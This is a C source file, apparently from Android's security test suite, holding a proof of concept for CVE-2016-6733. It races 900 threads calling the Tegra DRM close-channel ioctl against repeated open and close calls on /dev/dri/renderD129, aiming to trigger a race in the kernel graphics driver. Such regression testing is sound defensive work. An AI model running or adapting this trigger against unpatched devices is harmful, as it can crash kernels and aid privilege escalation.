Home | History | Annotate | Download | only in CVE-2016-6733
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <string.h>
     18 #include <stdio.h>
     19 #include <stdlib.h>
     20 #include <pthread.h>
     21 #include <sys/ioctl.h>
     22 #include <errno.h>
     23 #include <sys/stat.h>
     24 #include <fcntl.h>
     25 #include <sched.h>
     26 #include <sys/types.h>
     27 #include <signal.h>
     28 #include <unistd.h>
     29 #define THREAD_NUM	900
     30 #define DEV "/dev/dri/renderD129"
     31 
     32 #define SIOCIWFIRSTPRIV 0x8BE0
     33 #define SIOCGIWNAME     0x8B01
     34 #define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
     35 #define PRIV_CUSTOM_BWCS_CMD            13
     36 #define PRIV_CMD_OID                    15
     37 #define PRIV_CMD_SW_CTRL                20
     38 #define PRIV_CMD_WSC_PROBE_REQ          22
     39 
     40 enum host1x_class {
     41         HOST1X_CLASS_HOST1X = 0x1,
     42         HOST1X_CLASS_NVENC = 0x21,
     43         HOST1X_CLASS_VI = 0x30,
     44         HOST1X_CLASS_ISPA = 0x32,
     45         HOST1X_CLASS_ISPB = 0x34,
     46         HOST1X_CLASS_GR2D = 0x51,
     47         HOST1X_CLASS_GR2D_SB = 0x52,
     48         HOST1X_CLASS_VIC = 0x5D,
     49         HOST1X_CLASS_GR3D = 0x60,
     50         HOST1X_CLASS_NVJPG = 0xC0,
     51         HOST1X_CLASS_NVDEC = 0xF0,
     52 };
     53 
     54 #define DRM_COMMAND_BASE                0x40
     55 #define DRM_COMMAND_END                 0xA0
     56 
     57 #define DRM_TEGRA_OPEN_CHANNEL          0x05
     58 #define DRM_TEGRA_CLOSE_CHANNEL         0x06
     59 
     60 struct drm_tegra_open_channel {
     61         __u32 client;
     62         __u32 pad;
     63         __u64 context;
     64 };
     65 
     66 struct drm_tegra_close_channel {
     67         __u64 context;
     68 };
     69 
     70 #define DRM_IOCTL_BASE                  'd'
     71 #define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
     72 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
     73 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
     74 
     75 int fd;
     76 pthread_t thread_id[THREAD_NUM] = { 0 };
     77 int thread_ret[THREAD_NUM] = { 0 };
     78 int futex_signal = 0;
     79 
     80 struct drm_tegra_open_channel open_c = { 0 };
     81 volatile struct drm_tegra_close_channel close_c = { 0 };
     82 
     83 static int set_affinity(int num)
     84 {
     85 	int ret = 0;
     86 	cpu_set_t mask;
     87 	CPU_ZERO(&mask);
     88 	CPU_SET(num, &mask);
     89 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
     90 	if(ret == -1){
     91 		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
     92 	}
     93 	return ret;
     94 }
     95 
     96 static void prepare()
     97 {
     98 	open_c.client = HOST1X_CLASS_VIC;
     99 }
    100 
    101 void* child(void* no_use)
    102 {
    103 	int ret = 1;
    104 	set_affinity(1);
    105 
    106 	while(ret){
    107 		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
    108 	}
    109         return NULL;
    110 }
    111 
    112 int main()
    113 {
    114 	int i, try_time = THREAD_NUM, ret;
    115 
    116 	/* bind_cpu */
    117 	set_affinity(0);
    118 
    119 	/* open dev */
    120 	fd = open(DEV,O_RDONLY);
    121 	if(fd == -1){
    122 		printf("[+] open failed %d %s\n", errno, strerror(errno));
    123 		return 0;
    124 	}
    125 
    126 	/* prepare ioctl cmd */
    127 	prepare();
    128 
    129 	/* create thread */
    130 	for(i = 0; i < THREAD_NUM; i++){
    131 		thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL);
    132 	}
    133 
    134 	while(try_time--){
    135 		/* open */
    136 		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
    137 		/* close */
    138 		close_c.context = open_c.context;
    139 		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
    140 		if(ret){
    141 		}else{
    142 			open_c.context = 0UL;
    143 		}
    144 	}
    145 
    146 out_thread:
    147 	/* kill thread */
    148 	for(i = 0; i < THREAD_NUM; i++){
    149 		if(!thread_ret[i]){
    150 			pthread_kill(thread_id[i], SIGKILL);
    151 		}
    152 	}
    153 
    154 out_close:
    155 	close(fd);
    156 	return 0;
    157 }
    158 
    159